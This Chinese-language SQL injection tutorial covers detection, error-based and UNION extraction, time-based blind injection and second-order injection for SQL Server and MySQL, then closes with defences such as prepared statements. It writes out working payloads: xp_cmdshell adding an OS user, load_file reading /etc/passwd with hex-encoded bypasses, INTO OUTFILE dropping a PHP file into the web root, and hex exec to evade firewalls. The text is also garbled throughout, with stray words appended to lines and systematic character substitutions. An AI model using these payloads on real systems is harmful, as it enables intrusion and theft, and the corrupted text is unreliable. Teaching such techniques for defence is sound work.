SQL注入漏洞分类php
分为:数字型和字符型程序员
数字型注入:在弱类型语言中容易产生该类漏洞,如ASP、PHP。算法
强类型语言中若是试图将一个字符型转换为int型,则会抛出异常,没法继续执行,如JAVA、C#等。sql
因此在强类型语言中不多存在数字型注入漏洞。shell
断定如类型语言的 数字型注入漏洞三步走:数据库
前提:假设有URL为HTTP://www.xxser.com/test.php?id=8,能够猜想其SQL为select * from table where id=8数组
测试步骤:浏览器
一、HTTP://www.xxser.com/test.php?id=8'安全
SQL语句为HTTP://www.xxser.com/test.php?id=8',这样的语句确定会出错,服务器
致使脚本程序没法从数据库中获取正常数据,从而是原来的页面出现异常。
二、HTTP://www.xxser.com/test.php?id=8 and 1=1
SQL语句为select * from table where id=8 and 1=1,语句执行正常,返回数据与原始请求无差别。
三、HTTP://www.xxser.com/test.php?id=8 and 1=2
SQL语句变为select * from table where id=8 and 1=2,语句执行正常,但却没法查询出数据,
由于“1=2”始终为假。因此返回数据与原始请求有差别。
若是以上三个步骤所有知足,则程序就可能存在SQL注入漏洞。
字符型注入:输入参数为字符时,成为字符型
数字型和字符型的区别在于,数字型不须要单引号闭合,而字符串类型通常要使用单引号来闭合。
数字型例句:select * from table where id=8
字符型例句:select * from table where username='admin'
字符型注入最关键的在于如何闭合SQL语句以及注释掉多余的代码。
例如:
当查询内容为字符串时,SQL代码以下:
select * from table where username='admin'
当攻击者进行SQL注入时,若是过输入“amdin and 1=1”,则没法进行注入。
由于“amdin and 1=1” 会被数据库当作查询条件字符串来处理,SQL以下:
selec * from table where username = 'admin and 1=1'
这时想要进行注入,则必须注意字符串闭合问题。若是输入“admin ’and 1=1 --”就能够继续注入,SQL以下:
select * from table where username ='admin' and 1=1 --'
只要会字符串类型注入,都必须闭合单引号以及注释掉多余的代码。例如,uodate语句:
update Person set username='username' ,set password='password' where id=1
如今对该语句进行注入,就须要闭合单引号,能够在username或者password处插入语句为:
"'+(select @@version)+'",
最终的执行语句为:
update Person set username='username', set password=''+(select @@version)+ '' where id =1
利用两次单引号闭合才能完成SQL注入
注:数据库不一样,字符串链接符也不一样,
如SQL Server 链接符号为“+”,Oracle链接符号为“||”,Mysql的链接符号为空格。
例如Insert语句:
Insert into users (username,password,title) values('username', 'password','titile')
当注入title字段时,能够像update同样,直接使用一下SQL语句:
Insert into users (username,password,title) values('username', 'password',''+(select @@version)+'')
SQL注入类型
整体来说仍是分为两类,数字型和字符型
注入字段在不一样的位置,产生一些常见的注入叫法:
POST注入:注入字段在POST数据中
Cookie注入:注入字段在Cookie数据中
延时注入:使用数据库延时特性注入
搜索注入:注入处为搜索的地点
base64注入:注入字符串须要通过base64加密
常见的数据库注入
数据库:Oracle11g,MySQL5.1,SQL Server 2008
方式:查询数据,读写文件,执行命令
针对数据库的注入无非都是上面三件事。
5.3.一、SQL Server
一、利用错误消息提取信息
SQL Server对错误信息的定位十分准确,对开发是好事儿,对攻击者也是不错的。
1.1 枚举当前表和列
在查询sql中插入以下语句: 'having 1=1--
select * from users where username='root' and password='root' having 1=1 --'
这样SQL执行器会报错,选择列表中的列’users.id‘无效,由于该列没有包含在聚合函数或group By子句中。
这样攻击者能够利用此特性继续找到其余的列明,输入SQL以下:
select * from users where username='root' and password='root' group by users.id having 1=1 --
1.2 利用类型错误提取数据
试图利用不一样类型字段之间的比较,使得sql编译器抛出异常,获取信息,以下SQL:
select * from users where username='root' and password='root'
and 1 > (select top 1 username from users)
执行器错误提示:
在将varchar值’root‘转换成数据类型int时失败,这样就暴露了root这个帐户,一次递归会发现全部的帐户
select * from users where username='root' and password='root' and
1>(select top 1 username from users where username not in ('root'))
若是不嵌套子查询,也一样能够达到目的,须要用到SQL Server的内置函数CONVERT或者CASE函数,
这两个函数的功能是:将一种数据类型 转转为另外一种数据类型。
输入以下SQL语句:
select * from users where username='root' and password='root'
and 1=convert(int ,(select top 1 users.username from users))
若是感受递归比较麻烦,能够经过FOR XML PATH语句将查询的数据生成XML,SQL语句以下:
select* from users where username='root' and password='root'
AND 1=convert(int, (select stuff((select',' + users.usrename,'|' +
users.password from users for xml path ('')),1,1,'')))
二、获取元数据
SQL Server提供大量的视图,便于取得元数据。下面使用information_schema.tables 与
information_schema.columns视图取得数据库表以及表的字段。
取得当前数据库表:
select table_name from infromation_schema.tables
取得表Student表字段:
select columnname from information_schema.columns where table_name='Student'
还有其余的一些视图:
sys.databases:SQL Server中全部的数据库
sys.sql_logins:SQL Server全部登陆名
information_schema.tables:当前用户数据库中的表
information_schema.columns:当前用户数据库中的列
sys.all_columns:用户定义对象和系统对象的全部列的联合
sys.databases_principals:数据库中每一个权限或列异常权限
sys.databases_files:存储在数据库中的数据库文件
sysobjects:数据库中建立的每一个对象,例如:约束、日志 以及存储过程
三、Orderby子句
为SELECT查询的列排序,若是同时指定了TOP关键字,Order by子句在视图、内联函数、派生表和子查询中无效。
攻击者一般会经过注入Order by语句来判断此表的列数。
SQL语句:
1 、select id,username,password, from users where id=1 -------SQL执行正常
2 、select id,username,password, from users where id=1 Order by 1 ---按照第一列排序,SQL执行正常
三、select id,username,password, from users where id=1 Order by 2 ---按照第二列排序,SQL执行正常
四、select id,username,password, from users where id=1 Order by 3 ---按照第三列排序,SQL执行正常
五、select id,username,password, from users where id=1 Order by 4 ---按照第四列排序,SQL执行异常
错误提示:Order by 位置号 4 超出了选择列表中相熟的范围
这样攻击者得知当前SQL语句有几列,随后会配合union关键字进行下一步的攻击
四、Union查询
union关键字将两个或者更多个查询结果组合为单个结果集,俗称联合查询。
使用union合并两个查询结果集的基本规则:
一、全部查询中的列数必须相同
二、数据类型必须兼容
例如,联合查询探测字段数
前面介绍的USERS表,查询ID字段为1 的用户,正常的SQL语句
select id ,username,password from users where id=1
使用Union查询对id字段注入,SQL语句以下:
select id,username,password,sex from users where id=1 union select null
数据库发生异常,:使用union,intersect或者except运算符合并的全部查询必须再起目标列中有相同的表达式
递归查询,知道无错偏差生,可得知User表查询的字段数
union select null,null
union select null,null,null
也有人喜欢使用select 1,2,3语句,不过该语句容易出现类型不兼容的异常。
例二:联合查询敏感信息
上面例子介绍如何获取字段数,接下来曝光攻击者如何使用union关键字查询敏感信息,
union查询能够在SQL注入中发挥很是大的做用。
得知四列后,可使用一下语句继续注入:
id=5 union select 'x',null,null,null from stsobject where xtype='U'
若是数据类型不匹配,数据库会报错,这是能够继续递归查询,知道语句正常执行为止。
语句执行正常,表明数据类型兼容,就能够将x替换为SQL语句,查询敏感信息。
union和union all 最大的区别在于union会自动去除重复的数据,而且按照默认规则排序。
五、无辜的函数
SQL Server存在一些系统函数,利用系统函数能够方位SQL Server系统表中的信息。
select suser_name();返回用户的登录标识号
select user_name():基于指定的标识号返回数据库的用户名
select db_name():返回数据库名称
select is_member('db_owener'):是否为数据库角色
select convert(int,'5'):数据类型转换
SQL Server经常使用函数:
stuff:字符串截取函数
ascii:取ASCII码
char:根据ASCII码取字符
getdate:返回日期
count:返回卒中的总条数
cast:将一种数据类型的表达式显示的转换成另外一种数据类型的表达式
rand:返回随机值
is_srvrolemember:只是SQL Server登陆名是否为指定服务器角色的成员
六、危险的存储过程
存储过程(Stored Procedure) 是在大型数据库系统中为了完成特定功能的一组SQL“函数”。
如执行系统命令,查看注册表,读取磁盘目录等。
攻击者最常使用的存储过程是 xp_cmdshell,这个存储过程容许用户执行操做系统命令。例如:
http://demo.testfire.net/test.aspx?id=1 存在注入点,那么攻击者能够试试攻击:
http://demo.testfire.net/test.aspx?id=1;exec xp_cmdshell 'bet user test test /add'
最终执行的SQL语句以下:
select * from table where id=1;exec xp_cmdshell 'bet user test test /add'
攻击者能够直接利用xp_cmdshell操做服务器。
注:只有持有control server 权限的用户才能使用此类存储过程。
常见的存储过程:
sp_addlogin:建立新的SQL Server登陆,该登陆容许用户使用SQL Server身份验证链接到SQL Server实例
sp_dropuser:从当前数据库中删除数据库用户
xp_enumgroups:提供Windows本地组列表或指定的Windows域中定义的全局组列表
xp_regwrite:违背公布的存储过程,写入注册表
xp_regread:读取之策表
xp_regdeletevalue:删除注册表
xp_dirtree:读取目录
sp_password:更改密码
xp_servicecontrol:中止或激活某服务
另外,任何一种数据库在使用一些特殊的函数或者存储过程时,都须要特定的权限,不然没法使用。
SQL Server数据库的以为与权限以下:
bulkadmin:运行BULK INSERT语句
dbcreator:建立,更改,删除和还原任何数据库
diskadmin:管理磁盘文件
processadmin:能够终止在数据库引擎中实例中运行的进程
securityadmin:管理登陆名及其属性。能够利用grant,deny和revoke服务器级别的权限,
还能够利用grant,deny,和revoke数据库级别的权限,还能够重置SQL Server登陆名的密码
serveradmin:能够更改服务器范围的配置选项和关闭服务器
setupadmin:能够添加或删除连接服务器,并能够执行某些系统存储过程
sysadmin:角色成员能够在数据库引擎中执行任何活动。
默认状况下Windows BUILTIN\Administrator组的全部成员都是sysadmin固定服务器角色的成员。
七、动态执行
SQL Server支持动态执行语句,用户能够经过提交字符串来执行SQL语句,例如:
exec('select username,password from users')
exec('selec'+'t username ,password fro' + 'm users')
因为大部分Web应用程序防火墙都过滤了单引号,利用exec执行十六进制SQL语句并不存在单引号,
这一特殊性能够突破不少防火墙及防注入程序,如:
declare @query varchar(888)
select @query=0x73656C6563742031
exec(@query)
或者:
declare /**/@query/**/varchar(888)/**/select/**/@query=0x73656C6563742031/**/exec(@query)
5.3.二、MySQL
数据库的注入过程基本上是类型,不一样的是各个数据的一些使用函数或语句有些差别,
如,查看数据库SQL Server使用函数@@version,而MySQL是version()。
一、MySQL中的注释
#:注释从 # 字符到行尾
--:注释从 --序号到行尾,须要注意的是,使用此注释时,后面须要跟上一个或者多个空格或tag均可以
/**/:注释从/*序列到*/序列中间的字符,其中/**/注释存在一个特色
select id /*!5555, username */ from users
执行结果中发现/**/注释没有起到做用,语句正常执行。其实这不是注释,而是/*!*/,感叹号是有特殊意义的,
如/*!5555,username*/的意思是
若MySQL的版本号高于或者等于5.55.55,语句将会被执行,若是!后面不加版本号,MySQL将会直接执行SQL语句。
二、获取元数据
MySQL5.0及其以上版本提供了INFORMATION_SCHEMA,INFORMATION_SCHEMA是信息数据库,
它提供了访问数据库元数据的方式。下面介绍若是从中读取数据库名称、表名称、列名称。
一、查询用户数据库名称
select schema_name from information_schema.shemata limit 0,1
--从information_schema.shemata表中查询第一个数据库名称
二、查询当前数据库表
select table_name from information_schema.tables where table_schema=(sleect database()) limit 0,1
--查询当前数据库表,只显示第一条数据
三、查询指定表的全部字段
select column_name from information_schema.columns where table_name='Student' limit 0,1
-- 查询 table_name为Student的字段名
三、UNION查询
MySQL的官方解释union查询 用于吧来自许多的select语句的结果组合到一个结果集中,且每列的数据类型必须相同。
MySQL和Oracle不像SQL Server那样能够执行多语句,因此在利用查询是,一般配合union关键字。
MySQL和SQL Server中执行:
select id ,username,password from users union select 1,2,3
Oracle中执行:
select id ,username,password from users union select 1,2,3 from dual
执行后,SQL Server和Oracle 报错,数据类型不匹配,没法正常执行,MySQL语句正常执行。
由此返现,在Oracle和SQL Server中,列的数据类型在不肯定的状况下,最好使用NULL关键字匹配。
注意:一、UNION 结果集中的列名老是等于第一个 SELECT 语句中的列名
二、UNION 内部的 SELECT 语句必须拥有相同数量的列。列也必须拥有类似的数据类型。同时,每条 SELECT 语句中的列的顺序必须相同
MySQL的Group by
group by语法能够根据给定数据列的每一个成员对查询结果进行分组统计,最终获得一个分组汇总表
SELECT DEPT, MAX(SALARY) AS MAXIMUM FROM STAFF GROUP BY DEPT
注意:
必须在group子句以前指定where子句,
在SELECT语句中指定的每一个列名也在GROUP BY子句中提到。未在这两个地方提到的列名将产生错误。
在group by子句后使用HAVING子句,HAVING子句可包含一个或多个用AND和OR链接的谓词,
HAVING 子句基本上老是包含汇集函数
如:select uid,email,count(*) as ct from `edm_user081217` GROUP BY email HAVING ct > 1
先用group by 对email进行分组,在用having来过滤大于1的,这样查找出来的就是重复的记录了.
WHERE 子句做用于表和视图,HAVING 子句做用于组。
四、MySQL函数利用
一、load_file()函数读取文件操做
文件必须在服务器上,文件的路径必须为绝对路径(全路径),并且用户必须持有FILE权限,文件容量也必须小于 max_allowed_packet字节(默认16MB,最大1GB)
SQL语句,union select 1, load_file('/etc/password'),3,4,5,6 #
一般,一些防注入语句不容许单引号出现,那么使用一下语句绕过:
union select 1, load_fille(0x2F6563742F706173737764),3,4,5,6#
0x2F6563742F706173737764为/etc/password十六进制的转换结果,或者使用:
union select 1, load_file(char(47,101,99,116,47,112,97,115,115,117,100))),3,4,5,6 #
在SQL注入中,将会常常出现使用函数组合来达到某种目的,例如,在浏览器返回数据时,有可能出现乱码问题,那么可使用hex()函数将字符串转换为十六进制数据:
select hex( load_file(char(47,101,99,116,47,112,97,115,115,117,100)));
二、into outfile写文件操做
MySQL提供向磁盘写入文件的操做,与load_file()同样,必须持有FILE权限,而且文件必须为全路径名称。
select '<?php phpinfo();?>' into outfile 'c:\wwwroot\1.php'
select char(99,58,92,50,46,116,120,116) into outfile 'c:\wwwroot\1.php'
三、链接字符串
在MySQL中若是须要一次性查询多个数据,可使用concat()或concat_ws()函数
3.一、concat()函数
select name from users where id=1 union select concat(user(),',',database(),',',version());
结果以下:
+*********************************************************+
|name |
+**********************************************************+
| admin |
|xxser |
|root@localhost,mychool,5.1.50-community-log|
+**********************************************************+
能够发现,如今三个值已经成为一列,而且以逗号隔开。在concat()函数中的逗号能够用十六进制表示
concat(user(),0x2c,database(),0x2c,version())
3.二、concat_ws()函数
比concat()函数更简洁
concat_ws(0x2c,user(),database(),version())
select name from users where id=1 union select concat_ws(0x2c,user(),database(),version());
更多经常使用函数及说明
函数 | 说明 |
length | 返回字符串长度 |
substring | 截取字符串长度 |
asscii | 返回ASCII码 |
hex | 把字符串转换 为十六进制 |
now | 当前系统时间 |
unhex | hex的反向操做 |
floor(x) | 返回不大于x的最大整数值 |
md5 | 返回MD5值 |
group_concat | 返回带有来自一个组的链接的非NULL值的字符串结果 |
@@datadir | 读取数据库路径 |
@@basedir | MySQL安装路径 |
@@version_complite_os | 操做系统 |
user | 用户名 |
current_user | 当前用户名 |
system_user | 系统用户名 |
database | 数据库名 |
version | MySQL数据库版本 |
五、MySQL显错式注入
显错式注入,即利用数据库的报错信息提取消息。
六、宽字节注入
是由编码不统一形成的,这种注入通常出如今PHP+MySQL中。
七、MySQL长字符截取
在默认状况下,若是输入数据超过默认长度,MySQL会将其截断。
八、延时注入
因为网站技术的不断提高,在url中添加什么语句都不会有变化,只能经过盲注判断,盲注即页面无差别的注入。
延时注入属于盲注的一种,是一种基于时间差别的注入技术,下面以MySQL为例,主要讲一下延时注入
在MySQL中有一个函数:SLEEP(duration),这个函数的意思是在duration参数给定的秒数后运行语句,以下sql:
select * from users where id=1 and sleep(3); /*三秒后执行SQL语句*/
知道了sleep函数能够延时后,那就可使用这个函数来判断URL是否存在SQL注入漏洞,步骤以下:
一、http://www.secbug.com/user.jsp?id=1 //页面返回正常,1秒左右打开界面
二、http://www.secbug.com/user.jsp?id=1 ' //页面返回正常,1秒左右能够打开页面
三、http://www.secbug.com/user.jsp?id=1 ' and 1=1 //页面返回正常, 1秒左右能够打开页面
四、http://www.secbug.com/user.jsp?id=1 and sleep(3) //页面返回正常,3秒左右能够打开页面
经过页面返回的时间能够判定,DBMS执行了and sleep(3)语句,这样一来,就能够判断出URL确实存在SQL漏洞。
经过sleep函数能够判断出注入点,那么能读出数据吗?
答案是确定能够的,可是须要与其余函数配合使用,下面就是经过延时韩式注入读取当前MySQL用户的例子。
思路:
一、查询当前用户,并取得字符串长度
二、截取字符串的第一个字符,并转换为ASCII码
三、将第一个字读的ascii码与ASCII码表对比,若是过比对成功则延时3秒
四、继续步骤2/3,直至字符串截取完毕
对应的SQL语句以下:
一、and if(length(user())=0, sleep(3),1)
循环0,若是出现3秒延迟,就能够判断出user字符串长度,注入时一般会采用半折算法减小判断。
二、and if(hex(mid(user(),1,1))=1, sleep(3),1)
取出user字符串的第一个字符,而后与ASCII码表循环对比
三、and if(hex(mid(user(),L,1))=N,sleep(3),1)
递归破解第二个ASCII码,第三四五个ASCII码
同理,既然经过延时注入能够读取数据库当前MySQL用户,那么读取表、列、文件都是能够实现的。
注:L是位置表明字符串的第几个字符,N的位置表明ASCII码。
SQL Server中的waitfor delay,Oracle中DBMS_LOCK.SLEEP等函数。
5.四、注入工具
SQLMap,pangolin,Havij
5.五、防止SQL注入
SQL注入攻击的问题最终归于用户能够控制输入,SQL注入、xss、文件包含、命令执行均可归于此。
有输入的地方就可能存在风险。简单粗暴的方式:
禁止或者过滤掉单引号,问题是外国人的名字中有单引号,数字型注入也不必定会使用单引号
禁止输入查询语句,如select,insert,union关键字,问题是能够经过注释绕过关键字,
如sel/**/ect等,对注释进行分割,且不影响数据库的正常执行。
5.5.一、严格的数据类型
Java和C#等强类型语言基本上能够彻底忽略数字型注入,例如请求ID为1的新闻,攻击者想要注入几乎不可能
5.5.二、特殊字符转义
经过增强数据类型校验能够解决数字型的SQL注入,字符型却不能够,由于他们都是string类型,你没法判断输入是否为恶意攻击。
对特殊字符转义--在数据库查询字符串时,任何字符串都须要加上单引号。将这些特殊字符转义可以有效防护字符型SQL注入。
须要转义的字符参考OWASP ESAPI
在特殊字符转义过滤SQL注入时,须要注意“二次注入攻击”
在第一次注入时,将特殊字符转义,可是在数据库中存储时却没有‘\’,在第二次查询时使用单引号匹配注入,如:
第一次插入数据时,单引号被转义
insert into message(id,title,content) values(3,'secbug\'','secbug.org')
单引号已经被转义,这样注入攻击就没法成功,但,secbug\'在插入数据库后去没有了"\",语句以下:
+*****+*****************+*********************+
|id | title | content |
+****+*******************+*******************+
|1 | secbug' | secbug.org |
+****+*******************+*******************+
这样若是有另外一处查询为:
select id,title,content from message where title='$title'
那么正宗攻击就称为二次SQL注入,好比讲title改成
‘ union select 1, @@version 3 --
,目前不少开源系统都存在这样的问题,第一次不会出现漏洞,可是第二次却出现了SQL注入漏洞。
5.5.3 使用预编译语句
Java、C#等语言提供了预编译语句。
Java中提供了三个接口与数据库交互,Statement,CallableStatement,PreparedStatement.
Statement用于执行静态SQL语句,并返回它们所生成的结果对象。
PrepareStatement为Statement子类,表示预编译SQL语句对象。
CallableStatement为PrepareStatement的子类,用于执行SQL存储过程。
虽然PrepareStatement接口是安全的,可是若是使用动态拼接SQL语句,那就会失去它的安全性。
想要使PrepareStatement防护SQL注入,必须使用它提供的setter方法(setShort、setString等)。
5.5.四、框架技术
在众多框架中,有一类框架专门与数据库打交道,被称为持久层框架,好比Hibernate,MyBatis,JORM。
简要介绍Hibernate:
Hibernate是一个开源代码的ORM(对象关系映射)框架,他对JDBC进行很是轻量级的对象封装,
是的Java程序要能够为所欲为的神勇面向对象思惟操做数据库。
Hibernate是跨平台的,几乎不须要修改SQL语句便可适用于各类数据库,
它的安全性较高,但也一样存在注入,这类对象关系映射框架注入也被称为ORM注入。
Hibernate自定义的SQL语言叫做HQL,是一种面向对象的查询语言。
使用此语言时千万不要使用动态拼接的方式组成SQL语句,不然可能形成SQL注入。
5.5.五、存储过程(Stored Procedure)
在存储过程当中直接使用exec执行SQL语句,这和直接写select* from Student where StudentNo=id 没有区别,传入参数3 or 1=1
将查询出所有数据,形成SQL注入漏洞。例如:
create proc findUserId @id varchar(100)
as
exec('select * from Student where StudentNo= ' +@id);
go
改进为:
create proc findUserId @id varchar(100)
as
select * from Student where StudentNo=@id
go
参数3 or 1=1,SQL执行器抛出错误:
在将varchar值'3 or 1=1'转换为数据类型int时失败。
小结:
SQL注入的危害虽然很大,可是能够彻底杜绝,陈旭开发团队必定要有本身的安全规范模板,由于不可能每一个程序员都了解SQL注入,因此团队有一套本身的模板后,SQL注入会大大减小。好比碰到SQL语句彻底采用PrepareStatement类,且必须用参数绑定,若是这样还存在SQL注入,那就是某个程序员没有遵循规范,这样就从安全转移到代码规范的问题上,只要遵循规范,不会有问题,这一方法不管是SQL注入,仍是后面的其余漏洞,都适用。